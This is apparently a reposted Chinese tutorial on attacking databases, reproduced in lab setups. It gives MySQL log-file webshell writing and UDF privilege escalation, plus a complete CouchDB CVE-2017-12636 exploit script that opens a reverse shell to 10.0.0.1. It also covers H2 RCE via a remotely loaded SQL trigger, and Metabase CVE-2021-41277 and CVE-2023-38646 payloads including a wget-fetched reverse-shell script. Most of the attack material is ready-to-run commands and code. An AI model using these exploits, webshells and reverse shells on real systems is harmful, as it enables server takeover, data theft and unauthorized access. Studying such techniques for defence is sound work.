数据库攻防学习之MySQL

MySQL

0x01mysql学习

MySQL 是瑞典的MySQL
AB公司开发的一个可用于各种流行操作系统平台的关系数据库系统,它具有客户机/服务器体系结构的分布式数据库管理系统。可以免费使用使用,用的人数很多。

0x02环境搭建

这里演示用,phpstudy搭建的环境,然后安装phpmyadmin

0x03漏洞复现
日志文件包含getshell

利用前提

知道网站路径,mysql版本大于5.0

利用条件 需要可读可写的权限,也就是高权限账号

所用到的命令

show variables like ‘%general%’; 查看日志读写功能

SET GLOBAL general_log=‘on’;开启日志读写功能

select @@basedir; 查看mysql所在的绝对路径

SHOW VARIABLES LIKE
“secure_file_priv”;如果值为文件夹目录,则只允许修改目录下的文件,如果值为NULL则为禁止。

SET GLOBAL
general_log_file=‘C:/phpstudy_pro/WWW/shell.php’;修改日志文件路径

修改设置,该为开启,这样才能继续利用。

再次查询,可以发现已经发生了改变

访问验证

select ‘<?php eval($_POST["a"]);?>’;

总结,如果SHOW VARIABLES LIKE
“secure_file_priv”;为NULL则没办法使用into outfile
写文件,那么可以开启日志,修改日志文件路径和文件名为php,然后执行一个带有一句话的查询语句,完成getshell。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

mysql udf提权

这里使用win10 +phpstudy,直接下个msyql就行了

udf提权是mysql的一种常见的提权方式。

什么是udf?

udf可以理解为用户自定义函数,可以用udf增加一些函数,在mysql里就能用这个函数了。

提权前提

获取mysql的控制权限。

mysql具有写入权限,即secure_file_priv的值为空。

show global variables like’%secure%';用这个查询

提权背景

拿到了mysql权限,没拿到服务器权限,可以通过mysql提权使其达到拿到服务器的权限

提权实验

实验版本mysql 5.5 操作系统win10

需要udf文件,可以从sqlmap里获取或者msf中获取。

这里可以直接用国光师傅的写好udf16进制

https://www.sqlsec.com/tools/udf.html

show global variables like’%secure%';

如果不是空的话可以这样修改,这个需要在mysql目录下的ini文件进行修改或者添加。

secure_file_priv=''然后重启服务。

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL
安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。

这里我自己在目录下创建一个,也可以用NTFS
ADS方法创建目录,但有可能不成功。

show
variables
like
‘plugin%’;

查询发现已经有了,然后进行文件写入。

路径D:phpstudy_proExtensionsMySQL5.5.29libplugin

如果有Can’t open shared library ‘udf.dll’,切换成32位试试。

实战中不成功,可以轮流尝试。

创建自定义函数并且调用命令

CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.dll’;

select sys_eval(‘whoami’);

select sys_eval(‘dir’);

发现已经成功并且是Administrator权限

couchdb数据库

漏洞介绍

ApacheCouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,CreditSuisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用

漏洞复现
CVE-2017-12635

PUT发包创建用户

选择内网映射端口为5984的抓包访问

http://192.168.48.133:54944/_utils/#login

这个为登陆应用

发包目的是增加用户,可以用bp或者postman

PUT /_users/org.couchdb.user:vulhub HTTP/1.1Host:Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;
x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 110{"type": "user","name": "vulhub","roles": ["_admin"],"roles": [],"password": "vulhub"}

成功添加用户

CVE-2017-12636

CVE-2017-12636 exp 命令执行

import requestsimport jsonimport base64from requests.auth import HTTPBasicAuthtarget = 'http://your-ip:5984'command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""version = 1session = requests.session()session.headers = {'Content-Type': 'application/json'}# session.proxies = {# 'http': 'http://127.0.0.1:8085'# }session.put(target + '/_users/org.couchdb.user:wooyun', data='''{"type": "user","name": "wooyun","roles": ["_admin"],"roles": [],"password": "wooyun"}''')session.auth = HTTPBasicAuth('wooyun', 'wooyun')command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" %
base64.b64encode(command).decode()if version == 1:session.put(target + ('/_config/query_servers/cmd'),
data=json.dumps(command))else:host = session.get(target +
'/_membership').json()['all_nodes'][0]session.put(target +
'/_node/{}/_config/query_servers/cmd'.format(host),
data=json.dumps(command))session.put(target + '/wooyun')session.put(target + '/wooyun/test', data='{"_id":
"wooyuntest"}')if version == 1:session.post(target + '/wooyun/_temp_view?limit=10',
data='{"language":"cmd","map":""}')else:session.put(target + '/wooyun/_design/test',
data='{"_id":"_design/test","views":{"wooyun":{"map":""}
},"language":"cmd"}')

h2database数据库

H2 是一个开源的嵌入式数据库引擎,纯 java
实现的关系型数据库,不受平台的限制。

未授权访问

发现其可以未授权访问jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;

在JDBC URL输入这个语句点击connect即可未授权访问

RCE姿势

在VPS里面创建个sql文件,然后远程加载利用服务。

re_shell.sqlCREATE TABLE test (id INT NOT NULL);CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascriptJava.type("java.lang.Runtime").getRuntime().exec("bash -c
{echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';bash -i >& /dev/tcp/ip/7888 0>&1

远程加载姿势如下,填入python启动的ip和端口

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://IP:port/re_shell.sql';

mongodb数据库

大致介绍一下

MongoDB是一个基于分布式文件存储的数据库

由C++语言编写,旨在为WEB应用提供可扩展的高性能数据存储解决方案。

未授权访问漏洞

可以用msf检测

search mongodb

存在未授权访问漏洞

可以利用mongodb连接工具直接连接

metabase数据库分析

metabase是一款开源的简易但强大同时又无缝兼容大数据和传统数据库的分析工具

Metabase geojson任意文件读取漏洞 (CVE-2021-41277)

payload /api/geojson?url=file:/etc/passwd

Metabase 远程代码执行漏洞(CVE-2023-38646)

Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。
Metabase 存在远程代码执行漏洞,可导致攻击者在服务器上以运行 Metabase
服务器的权限执行任意代码。

这里使用vulhub的docker环境,vulfocus可能有问题没复现成功

GET访问

/api/session/properties

expPOST /api/setup/validate HTTP/1.1Host: your-ipContent-Type: application/json{"token": "token值","details":{"is_on_demand": false,"is_full_sync": false,"is_sample": false,"cache_ttl": null,"refingerprint": false,"auto_run_queries": true,"schedules":{},"details":{"db":
"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1;CREATE
TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$//javascriptnjava.lang.Runtime.getRuntime().exec('执行的命令')n$$--=x","advanced-options": false,"ssl": true},"name": "test","engine": "h2"}}

验证一下

python启动一个http服务,然后exec执行curl ip:8899/1.txt

python3 -m http.server 8899

验证成功

尝试反弹shell

未能成功反弹shell,利用其他方法进行反弹shell,可以执行命令从VPS下载sh脚本然后在用命令运行该脚本进行反弹shell

创建个re_shell.sh,内容如下

!/bin/shbash -c 'exec bash -i >& /dev/tcp/ip/6667 0>&1'执行 wget http://ip:port/re_shell.sh

执行

/bin/bash /tmp/re_shell.sh

成功反弹shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/594731.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

华为端口隔离高级用法经典案例

最终效果&#xff1a; pc4不能ping通pc5&#xff0c;pc5能ping通pc4 pc1不能和pc2、pc3通&#xff0c;但pc2和pc3能互通 vlan batch 2 interface Vlanif1 ip address 10.0.0.254 255.255.255.0 interface Vlanif2 ip address 192.168.2.1 255.255.255.0 interface MEth0/0/1 i…

基于SSM的校园快递管理系统

目录 前言 开发环境以及工具 项目功能介绍 学生&#xff1a; 管理员&#xff1a; 详细设计 获取源码 前言 本项目是一个基于IDEA和Java语言开发的基于SSM的校园快递管理系统应用。应用包含学生端和管理员端等多个功能模块。 欢迎使用我们的校园快递管理系统&#xff01;我…

厦门大学OpenHarmony技术俱乐部开创“1+N”新模式,加速推动产学研融合

12月29日,OpenHarmony技术俱乐部再添重将——在多方见证下,厦门大学OpenHarmony技术俱乐部在翔安校区益海嘉里楼报告厅正式揭牌成立,现场出席领导及师生代表近千人。 成立仪式现场 OpenHarmony技术俱乐部 携手厦门大学共绘开源生态新图景 OpenHarmony是由开放原子开源基金…

揭示AUTOSAR中隐藏的漏洞

AUTOSAR是一个普遍采用的软件框架&#xff0c;用于各种汽车零部件&#xff0c;如ABS, ECU,自动照明、环境控制、充电控制器、信息娱乐系统等。AUTOSAR的创建目的是促进汽车零部件之间形成标准接口&#xff0c;可以在不同制造商之间互通。 因此&#xff0c;任何配备微控制器(MC…

CGAL的无限制的Delaunay图

本章描述了构建L∞距离下线段Delaunay图的算法和几何特征。这些特征还包括绘制L∞距离下线段Delaunay图对偶&#xff08;即L∞距离下线段Voronoi图&#xff09;边缘的方法。L∞算法和特征依赖于欧几里得&#xff08;或L2&#xff09;距离下的线段Delaunay图算法和特征。L∞度量…

月报总结|Moonbeam 12月份大事一览

一转眼已经到年底啦。本月&#xff0c;Moonbeam基金会发布四个最新战略重点&#xff1a;跨链解决方案、游戏、真实世界资产&#xff08;RWA&#xff09;、新兴市场。其中在新兴市场方面&#xff0c;紧锣密鼓地推出与巴西公司Grupo RO的战略合作。 用户教育方面&#xff0c;为了…

大创项目推荐 深度学习人脸表情识别算法 - opencv python 机器视觉

文章目录 0 前言1 技术介绍1.1 技术概括1.2 目前表情识别实现技术 2 实现效果3 深度学习表情识别实现过程3.1 网络架构3.2 数据3.3 实现流程3.4 部分实现代码 4 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 深度学习人脸表情识别系…

优雅地展示20w单细胞热图|非Doheatmap 超大数据集 细胞数太多

单细胞超大数据集的热图怎么画&#xff1f;昨天刚做完展示20万单细胞的热图要这么画吗&#xff1f; 今天就有人发消息问我为啥他画出来的热图有问题。 问题起源 昨天分享完 20万单细胞的热图要这么画吗&#xff1f;&#xff0c;就有人问为啥他的数据会出错。我们先来看下他的…

imgaug库指南(一):从入门到精通的【图像增强】之旅

文章目录 引言imgaug简介安装和导入imgaug代码示例imgaug的强大之处和用途小结结尾 引言 在深度学习和计算机视觉的世界里&#xff0c;数据是模型训练的基石&#xff0c;其质量与数量直接影响着模型的性能。然而&#xff0c;获取大量高质量的标注数据往往需要耗费大量的时间和…

(JAVA)-反射

什么是反射&#xff1f; 反射允许对成员变量&#xff0c;成员方法和构造方法的信息进行编程访问。 说简单点就是反射能将类里面的构造方法&#xff0c;成员变量,修饰符,返回值&#xff0c;注解&#xff0c;类型&#xff0c;甚至异常等类里面的所有东西都能够获取出来。 关于C…

团子杂记:SAP PS or 项目管理软件(PMIS )? PPM/P6

众所周知SAP的PS模块在项目型企业的SAP应用中扮演着核心角色&#xff0c;整个项目端到端的业务执行、财务核算、控制及分析都是通过PS作为主线&#xff0c;依赖于PS中的项目对象&#xff08;如WBS元素、网络活动等&#xff09;实现的。 在实施SAP的过程中&#xff0c;可以看到…

Nest 框架:解锁企业级 Web 应用开发的秘密武器(上)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

RKE安装k8s及部署高可用rancher之证书私有证书但是内置的ssl不放到外置的LB中 4层负载均衡

先决条件# Kubernetes 集群 参考RKE安装k8s及部署高可用rancher之证书在外面的LB&#xff08;nginx中&#xff09;-CSDN博客CLI 工具Ingress Controller&#xff08;仅适用于托管 Kubernetes&#xff09; 创建集群k8s [rootnginx locale]# cat rancher-cluster.yml nodes:- …

网络安全—模拟ARP欺骗

文章目录 网络拓扑安装使用编辑数据包客户机攻击机验证 仅做实验用途&#xff0c;禁止做违法犯罪的事情&#xff0c;后果自负。当然现在的计算机多无法被欺骗了&#xff0c;开了防火墙ARP欺骗根本无效。 网络拓扑 均使用Windows Server 2003系统 相关配置可以点击观看这篇文章…

【iOS安全】JS 调用Objective-C中WKWebview Handler的三种方式

有三种实现途径 1. WKScriptMessageHandler OC部分&#xff1a;注册并实现Handler 将OC中的方法"nativeMethod"注册为JavaScript Message Handler&#xff0c;从而WebView中的JavaScript代码可以调用该方法 // Register in Objective-C code - (void)setupWKWebVi…

算法通关村番外篇-数组实现队列

大家好我是苏麟 , 今天来用数组实现一下队列 . 数组实现队列 顺序存储结构存储的队列称为顺序队列&#xff0c;内部使用一个一维数组存储&#xff0c;用一个队头指针 front 指向队列头部节点(即使用int类型front来表示队头元素的下标)&#xff0c;用一个队尾指针rear(有的地方…

vue3中pdf打印问题处理

1 get请求参数问题 之前的请求是post得不到参数&#xff0c;今天发现的问题很奇怪&#xff0c;从前端进入网关&#xff0c;网关居然得不到参数。 前端代码 const print () > {let linkUrlStr proxy.$tool.getUrlStr(proxy.$api.invOrder.psiInvOrder.printSalOutstock,{a…

【Java】面向对象程序设计 期末复习总结

语法基础 数组自带长度属性 length&#xff0c;可以在遍历的时候使用&#xff1a; int []ages new int[10];for (int i 0; i < ages.length; i)System.out.println(ages[i]); 数组可以使用增强式for语句进行只读式遍历&#xff1a; int[] years new int[10];for (int ye…

Git(3):Git环境常用命令

1 获取本地仓库 要使用Git对我们的代码进行版本控制&#xff0c;首先需要获得本地仓库 &#xff08;1&#xff09;在电脑的任意位置创建一个空目录&#xff08;例如test&#xff09;作为我们的本地Git仓库 &#xff08;2&#xff09;进入这个目录中&#xff0c;点击右键打开…

ElasticSearch数据同步

文章目录 ElasticSearch数据同步1. 同步调用2. 异步通知3. 监听binlog4. 工作中处理同步的问题 ElasticSearch数据同步 ElasticSearch中酒店数据来自于mysql数据库&#xff0c;因此MySQL数据发生改变时&#xff0c;ElasticSearch也必须跟着改变&#xff0c;这个就是ElasticSear…